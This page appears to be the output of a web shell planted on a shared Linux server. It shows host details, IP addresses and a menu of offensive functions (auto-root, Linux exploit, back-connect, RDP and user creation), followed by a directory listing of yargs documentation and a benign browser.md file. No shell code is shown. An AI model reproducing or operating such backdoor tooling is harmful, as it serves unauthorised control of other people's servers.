Linux iad1-shared-b7-18 6.6.49-grsec-jammy+ #10 SMP Thu Sep 12 23:23:08 UTC 2024 x86_64
Apache
: 67.205.6.31 | : 216.73.216.47
Cant Read [ /etc/named.conf ]
8.2.29
fernandoquevedo
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
usr /
share /
doc /
node-yargs /
[ HOME SHELL ]
Name
Size
Permission
Action
examples
[ DIR ]
drwxr-xr-x
CHANGELOG-historical.md.gz
28.74
KB
-rw-r--r--
CODE_OF_CONDUCT.md
3.14
KB
-rw-r--r--
README.md.gz
2.26
KB
-rw-r--r--
advanced.md.gz
5.58
KB
-rw-r--r--
api.md.gz
15
KB
-rw-r--r--
browser.md
781
B
-rw-r--r--
bundling.md
1.44
KB
-rw-r--r--
changelog.Debian.gz
1005
B
-rw-r--r--
contributing.md
1.04
KB
-rw-r--r--
copyright
3.15
KB
-rw-r--r--
examples.md.gz
2.05
KB
-rw-r--r--
tricks.md
2.21
KB
-rw-r--r--
typescript.md
1.44
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : browser.md
# Running yargs in the browser Newer versions of yargs have a `./browser.mjs` entry point, which can be used through a CDN like [unpkg.com](https://unpkg.com/) to load yargs directly in the browser: ```html <script type="module"> import Yargs from 'https://unpkg.com/yargs@16.0.0-beta.1/browser.mjs'; const yargs = Yargs() .scriptName('>') .command('clear', 'clear the output window', () => {}, () => { // ... }) .command('alert <message...>', 'display an alert', () => {}, (argv) => { alert(argv.message.join(' ')) }) .wrap(null) .strict() .demandCommand(1) .version('v1.0.0'); </script> ``` A full example can be found in [example/yargs.html](/example/yargs.html), or on [jsfiddle](https://jsfiddle.net/bencoe/m9fv2oet/3/).
Close